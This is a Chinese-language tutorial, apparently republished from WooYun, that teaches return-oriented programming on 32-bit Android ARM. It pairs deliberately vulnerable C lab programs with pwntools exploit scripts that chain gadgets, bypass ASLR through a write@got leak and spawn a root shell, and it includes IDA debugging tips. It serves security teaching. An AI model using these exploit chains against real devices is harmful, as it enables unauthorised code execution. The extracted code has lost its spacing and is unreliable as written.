一步一步学ROP之Android ARM 32位篇
2016-03-06 16:32
633 查看
0x00 序
ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术,可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。之前我们主要讨论了linux上的ROP攻击:一步一步学ROP之linux_x86篇 http://drops.wooyun.org/tips/6597 一步一步学ROP之linux_x64篇 http://drops.wooyun.org/papers/7551 一步一步学ROP之gadgets和2free篇 http://drops.wooyun.org/binary/10638
在这次的教程中我们会带来arm上rop利用的技术,欢迎大家继续学习。
另外文中涉及代码可在我的github下载:
https://github.com/zhengmin1989/ROP_STEP_BY_STEP
0x01 ARM上的Buffer Overflow
作为一个程序员我们的目标是要会写所有语言的”hello world”。同样的,作为一个安全工程师,我们的目标是会exploit掉所有语言的buffer overflow。:)因为buffer overflow实在是太经典了,所以我们的arm篇也是从buffer overflow开始。首先来看第一个程序 level6.c:
1234567891011121314151617181920 | #include<stdio.h>#include<stdlib.h>#include<unistd.h> voidcallsystem(){system("/system/bin/sh");} void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,256);} intmain(intargc,char**argv){if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO,"Hello, World\n",13); vulnerable_function();} |
Application.mk并加入
APP_CFLAGS += -fno-stack-protector)。随后用ndk-build进行编译。然后将level6文件拷贝到
"/data/local/tmp"目录下。接下来我们把这个目标程序作为一个服务绑定到服务器的某个端口上,这里我们可以使用socat这个工具来完成。最后我们再做一个端口转发,准备工作就算完成了。基本命令如下:
1 2 3 4 5 6 | ndk-build adb push libs/armeabi/level6/data/local/tmp/ adbshell cd /data/local/tmp/ ./socatTCP4-LISTEN:10001,forkEXEC:./level6 adb forward tcp:10001tcp:10001 |
12 | $nc 127.0.0.110001Hello,World |
1 | pythonpattern.pycreate 150 |
1 | Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | #!/usr/bin/envpython from pwn import* #p= process('./level6') p= remote('127.0.0.1',10001) p.recvuntil('\n') raw_input() payload="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9" p.send(payload) p.interactive() |
我们先在电脑上运行python脚本:
123 | [pc]$python test.py[+]Opening connection to 127.0.0.1on port10001:Done… |
1 2 3 4 5 6 7 8 9 10 | [adb]#./gdb--pid=4895 GNUgdb 6.7 Copyright (C)2007 FreeSoftware Foundation,Inc. LicenseGPLv3+:GNU GPL version3 orlater <http://gnu.org/licenses/gpl.html> …… Loadedsymbols for/system/lib/libm.so 0xb6eff268 inread ()from /system/lib/libc.so (gdb)c Continuing. |
123 | Programreceived signal SIGSEGV,Segmentation fault.0x41346540 in??()(gdb) |
0x41346540+1 = 0x41346541。然后用pattern.py计算一下溢出点的位置:
1 2 3 | $python pattern.pyoffset 0x41346541 hex pattern decodedas:Ae4A 132 |
0x00008554:
因为
callsystem()被编译成了thumb指令,所以我们需要将地址+1,让pc知道这里的代码为thumb指令,最终exp如下:
1234567891011121314 | #!/usr/bin/envpythonfrom pwn import* #p= process('./level6')p= remote('127.0.0.1',10001) p.recvuntil('\n') callsystemaddr= 0x00008554+ 1payload = 'A'*132+ p32(callsystemaddr) p.send(payload) p.interactive() |
1 2 3 4 5 | $python level6.py [+]Opening connection to 127.0.0.1on port10001:Done [*]Switching tointeractive mode $ /system/bin/id uid=0(root)gid=0(root)context=u:r:shell:s0 |
0x02 寻找thumb gadgets
下面我们来看第二个程序level7.c:12345678910111213141516171819202122 | #include<stdio.h>#include<stdlib.h>#include<unistd.h> char*str="/system/bin/sh"; voidcallsystem(){system("id");} void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,256);} intmain(intargc,char**argv){if (argc==2&&strcmp("passwd",argv[1])==0)callsystem();write(STDOUT_FILENO,"Hello, World\n",13); vulnerable_function();} |
system("/system/bin/sh")。怎么办呢?这里我们就需要来寻找可利用的gadgets,先让r0指向
"/system/bin/sh"这个字符串的地址,然后再调用system()函数达到我们的目的。如何寻找gadgets呢?虽然用ida或者objdump也可以进行查找,但比较费时费力,这里我推荐使用ROPGadget。因为level7默认会编译成thumb指令,所以我们也采用thumb模式查找gadgets:
1 2 3 4 5 6 7 8 | $ROPgadget --binary=./level7--thumb| grep"ldr r0" 0x00008618 :add r0,pc ;b #0x862e; ldrr0,[pc,#0x10]; addr0,pc ;ldr r0,[r0]; b#0x8634; movsr0,#0; pop{pc} 0x0000861e: addr0,pc ;ldr r0,[r0]; b#0x862e; movsr0,#0; pop{pc} 0x0000893e :add r3,sp,#0xc; movsr1,#0; strr3,[sp]; addsr3,r1,#0; bl#0x8916; ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc} 0x000090fe: addr3,sp,#0xc; strr3,[sp]; movsr2,#0xc; addsr3,r1,#0; bl#0x8916; ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc} 0x000093ca :add sp,#0x10; pop{r4,pc}; push{r3,lr}; bl#0x911c; ldrr0,[r0,#0x48]; pop{r3,pc} 0x00008826: addsp,r3 ;pop {r4,r5,r6,r7,pc}; movr8,r8 ;stc2 p15,c15,[r4],#-0x3fc; ldrr0,[r0,#0x44]; bxlr …… |
1 | 0x0000894a: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc} |
"/system/bin/sh"的地址,分别为0x00008404和000096C0:
要注意的是,因为
system()函数在plt区域,并没有被编译成thumb指令,而是普通的arm指令,因此并不需要将地址+1。最终level7.py如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | #!/usr/bin/envpython from pwn import* #p= process('./level7') p= remote('30.10.20.253',10001) p.recvuntil('\n') #0x0000894a: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc} gadget1 =0x0000894a +1 #"/system/bin/sh" r0= 0x000096C0 #.plt:00008404; intsystem(constchar *command) systemaddr =0x00008404 payload = '\x00'*132+ p32(gadget1)+ "\x00"*0xc+ p32(r0)+ "\x00"*0x4+ p32(systemaddr) p.send(payload) p.interactive() |
123456 | $python level7.py[+]Opening connection to 30.10.20.253on port10001:Done [*]Switching tointeractive mode$/system/bin/iduid=0(root)gid=0(root)context=u:r:shell:s0 |
0x03 Android上的ASLR
Android上的ASLR其实伪ASLR,因为如果程序是由皆由zygote fork的,那么所有的系统library(libc,
libandroid_runtime等)和
dalvik - heap的基址都会是相同的,并且和zygote的内存布局一模一样。比如我们随便看两个由zygote fork的进程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | root@hammerhead:/# cat/proc/1698/maps 400e8000-400ed000r-xp00000000 b3:198201 /system/bin/app_process 400ed000-400ee000r--p00004000 b3:198201 /system/bin/app_process 400ee000-400ef000rw-p00005000 b3:198201 /system/bin/app_process 400ef000-400fe000r-xp00000000 b3:198248 /system/bin/linker 400fe000-400ff000r-xp00000000 00:000 [sigpage] 400ff000-40100000r--p0000f000 b3:198248 /system/bin/linker 40100000-40101000rw-p00010000 b3:198248 /system/bin/linker 40101000-40104000rw-p00000000 00:000 40104000-40105000r--p00000000 00:000 40105000-40106000rw-p00000000 00:000 [anon:libc_malloc] 40106000-40109000r-xp00000000 b3:1949324 /system/lib/liblog.so 40109000-4010a000r--p00002000 b3:1949324 /system/lib/liblog.so 4010a000-4010b000rw-p00003000 b3:1949324 /system/lib/liblog.so 4010b000-40153000r-xp00000000 b3:1949236 /system/lib/libc.so 40153000-40155000r--p00047000 b3:1949236 /system/lib/libc.so 40155000-40158000rw-p00049000 b3:1949236 /system/lib/libc.so root@hammerhead:/# cat/proc/1720/maps 400e8000-400ed000r-xp00000000 b3:198201 /system/bin/app_process 400ed000-400ee000r--p00004000 b3:198201 /system/bin/app_process 400ee000-400ef000rw-p00005000 b3:198201 /system/bin/app_process 400ef000-400fe000r-xp00000000 b3:198248 /system/bin/linker 400fe000-400ff000r-xp00000000 00:000 [sigpage] 400ff000-40100000r--p0000f000 b3:198248 /system/bin/linker 40100000-40101000rw-p00010000 b3:198248 /system/bin/linker 40101000-40104000rw-p00000000 00:000 40104000-40105000r--p00000000 00:000 40105000-40106000rw-p00000000 00:000 [anon:libc_malloc] 40106000-40109000r-xp00000000 b3:1949324 /system/lib/liblog.so 40109000-4010a000r--p00002000 b3:1949324 /system/lib/liblog.so 4010a000-4010b000rw-p00003000 b3:1949324 /system/lib/liblog.so 4010b000-40153000r-xp00000000 b3:1949236 /system/lib/libc.so 40153000-40155000r--p00047000 b3:1949236 /system/lib/libc.so 40155000-40158000rw-p00049000 b3:1949236 /system/lib/libc.so |
假设我们已经知道了目标app的libc.so在内存中的地址了,那么应该如何控制pc执行我们希望的rop呢?OK,现在我们现在来看level8.c:
12345678910111213141516171819202122 | #include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<dlfcn.h> void getsystemaddr(){void*handle =dlopen("libc.so",RTLD_LAZY);printf("%p\n",dlsym(handle,"system"));fflush(stdout);} voidvulnerable_function(){char buf[128];read(STDIN_FILENO,buf,256);} int main(intargc,char**argv){getsystemaddr();write(STDOUT_FILENO,"Hello, World\n",13); vulnerable_function();} |
1 2 3 | 0x00014f48: ldrr0,[sp,#4]; pop{r1,r2,r3,pc} 0x0002e404 :ldr r0,[sp,#4]; pop{r2,r3,r4,r5,r6,pc} 0x00034ace: ldrr0,[sp]; pop{r1,r2,r3,pc} |
system()和
"/system/bin/sh"的位置:
可以看到地址分别为
0x000253A4和
0x0003F9B4。当然了,就算获取了这些地址,我们也需要根据
system()在内存中的地址进行偏移量的计算才能够成功的找到gadgets和
"/system/bin/sh"在内存中的地址。除此之外,还要注意thumb指令和arm指令的转换问题。最终的exp level8.py如下:
12345678910111213141516171819202122232425262728 | #!/usr/bin/envpythonfrom pwn import* #p= process('./level8')p= remote('127.0.0.1',10001) system_addr_str= p.recvuntil('\n')print "str:"+ system_addr_strsystem_addr= int(system_addr_str,16)print "system_addr = "+ hex(system_addr) p.recvuntil('\n') #.text:000253A4 EXPORT system #0x00034ace: ldrr0,[sp]; pop{r1,r2,r3,pc}gadget1= system_addr+ (0x00034ace- 0x000253A4)print "gadget1 = "+ hex(gadget1) #.rodata:0003F9B4aSystemBinSh DCB "/system/bin/sh",0r0= system_addr+ (0x0003F9B4- 0x000253A4)- 1print "/system/bin/sh addr = "+ hex(r0) payload = '\x00'*132+ p32(gadget1)+ p32(r0)+ "\x00"*0x8+ p32(system_addr) p.send(payload) p.interactive() |
1 2 3 4 5 6 7 8 | $python level8.py [+]Opening connection to 127.0.0.1on port10001:Done system_addr= 0xb6f1e3a5 gadget1 =0xb6f2dacf /system/bin/shaddr =0xb6f389b4 [*]Switching tointeractive mode $id uid=0(root)gid=0(root)context=u:r:shell:s0 |
0x04 Android上的information leak
在上面的例子中,我们假设已经知道了libc.so的基址了,但是如果我们是进行远程攻击,并且原程序中没有调用system()函数怎么办?这意味着目标程序的内存布局对我们来说是随机的,我们并不能直接调用libc.so中的gadgets,因为我们并不知道libc.so在内存中的地址。其实这也是有办法的,我们首先需要一个information leak的漏洞来获取libc.so在内存中的地址,然后再控制pc去执行我们的rop。现在我们来看level9.c:
1234567891011121314 | #include<stdio.h>#include<stdlib.h>#include<unistd.h>#include<dlfcn.h> void vulnerable_function(){charbuf[128];read(STDIN_FILENO,buf,512);} intmain(intargc,char**argv){write(STDOUT_FILENO,"Hello, World\n",13);vulnerable_function();} |
虽然程序非常简单,可用的gadgets很少。但好消息是我们发现除了程序本身的实现的函数之外,我们还可以使用
write@plt()函数。但因为程序本身并没有调用
system()函数,所以我们并不能直接调用
system()来获取shell。但其实我们有
write@plt()函数就够了,因为我们可以通过
write@plt()函数把
write()函数在内存中的地址也就是write.got给打印出来。既然
write()函数实现是在libc.so当中,那我们调用的
write@plt()函数为什么也能实现
write()功能呢? 这是因为android和linux类似采用了延时绑定技术,当我们调用
write@plit()的时候,系统会将真正的
write()函数地址link到got表的write.got中,然后
write@plit()会根据write.got 跳转到真正的
write()函数上去。(如果还是搞不清楚的话,推荐阅读潘爱民老师的《程序员的自我修养 – 链接、装载与库》这本书,潘老师是我主管的事情我才不会告诉你。。。)因为
system()函数和
write()在libc.so中的offset(相对地址)是不变的,所以如果我们得到了
write()的地址并且拥有目标手机上的libc.so就可以计算出
system()在内存中的地址了。然后我们再将pc指针return回
vulnerable_function()函数,就可以进行第二次溢出攻击了,并且这一次我们知道了
system()在内存中的地址,就可以调用
system()函数来获取我们的shell了。另外需要注意的是write()函数是三个参数,因此我们还需要控制r1和r2才行,刚好程序中有如下gadget可以满足我们的需求:
1 | #0x0000863a: pop{r1,r2,r4,r5,r6,pc} |
vulnerable_function(),我们需要构造好执行完write函数后的栈的数据,让程序执行完
ADD SP, SP,
#0x84;
POP {PC}后,PC能再一次指向
0x000084D8。
最终的explevel9.py如下:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748 | #!/usr/bin/envpythonfrom pwn import* #p= process('./level7')p= remote('30.10.20.253',10001) p.recvuntil('\n') #0x00008a12: ldrr0,[sp,#0xc]; addsp,#0x14; pop{pc}gadget1 =0x000088be +1 #0x0000863a: pop{r1,r2,r4,r5,r6,pc}gadget2= 0x0000863a+ 1 #.text:000084D8vulnerable_functionret_to_vul =0x000084D8 +1 #write(r0=1,r1=0x0000AFE8,r2=4)r0= 1r1 =0x0000AFE8r2= 4r4 =0r5= 0r6 =0write_addr_plt= 0x000083C8 payload= '\x00'*132+ p32(gadget1)+ '\x00'*0xc+ p32(r0)+ '\x00'*0x4+ p32(gadget2)+ p32(r1)+ p32(r2)+ p32(r4)+ p32(r5)+ p32(r6)+ p32(write_addr_plt)+ '\x00'* 0x84+p32(ret_to_vul) p.send(payload) write_addr= u32(p.recv(4))print 'write_addr='+ hex(write_addr) #.rodata:0003F9B4aSystemBinSh DCB "/system/bin/sh",0#.text:000253A4 EXPORT system#.text:00020280 EXPORT write r0 =write_addr +(0x0003F9B4- 0x00020280)system_addr= write_addr+ (0x000253A4- 0x00020280)+ 1 print'r0=' +hex(r0)print 'system_addr='+ hex(system_addr) payload2 = '\x00'*132+ p32(gadget1)+ "\x00"*0xc+ p32(r0)+ "\x00"*0x4+ p32(system_addr) p.send(payload2) p.interactive() |
1 2 3 4 5 6 7 8 | $python level9.py [+]Opening connection to 30.10.20.253on port10001:Done write_addr=0xb6f27280 r0=0xb6f469b4 system_addr=0xb6f2c3a5 [*]Switching tointeractive mode $/system/bin/id uid=0(root)gid=0(root)context=u:r:shell:s0 |
0x05 Android ROP调试技巧
因为gdb对thumb指令的解析并不好,所以我还是推荐用ida来进行调试。如果你还不会用ida,可以先看一下我之前写的关于ida调试的文章:1 2 | 安卓动态调试七种武器之孔雀翎–Ida pro http://drops.wooyun.org/tips/6840 |
比如图中是libc.so中system的代码:
这段代码其实是thumb指令,但是我们怎么样才能让ida解析正确呢?方法就是用鼠标选中
0xB6EE03A4,然后按
alt+g键,然后将
value改成
0x1。这样的话,ida就会按照thumb指令来解析这段数据了。
我们随后选中那块数据然后按c键,就可以看到指令被正确的解析了。
0x06 总结
我们这篇文章介绍了32位android的ROP。在下一篇中我会继续带来64位arm和iOS上ROP的利用技巧,欢迎大家继续学习。另外文中涉及代码可在我的github下载:https://github.com/zhengmin1989/ROP_STEP_BY_STEP
转载自:http://drops.wooyun.org/papers/11390 原文作者:蒸米
相关文章推荐
- Android检测IBeacon热点
- 开发过程中的一些资料收集---
- Android BLE开发之Android手机与BLE终端通信
- android简单实例---------ActionBar的简单使用(二,略高级)
- Android开发 |常见的内存泄漏问题及解决办法
- Android 数据库文件存取至储存卡的方法
- 观察者模式——Android控件的交互事件监听
- 软工大作业·源物语(一)
- android国际化(多语言)
- Andriod 资源文件之存取操作
- android自学 intent 页面跳转的两种方法
- 【读书笔记】【Android 开发艺术探索】第 7 章 Android 动画深入分析
- Android学习第一课
- Android Studio系列-签名打包
- android中的style部分属性值介绍
- Android实现后台每日定时更新操作实现知识点和思路
- android studio运行编译速度慢的解决方法
- Android 之Activity启动模式之 lauchMode
- Android常用系统广播
- android学习之EditText需要点击两次触发onclick问题解决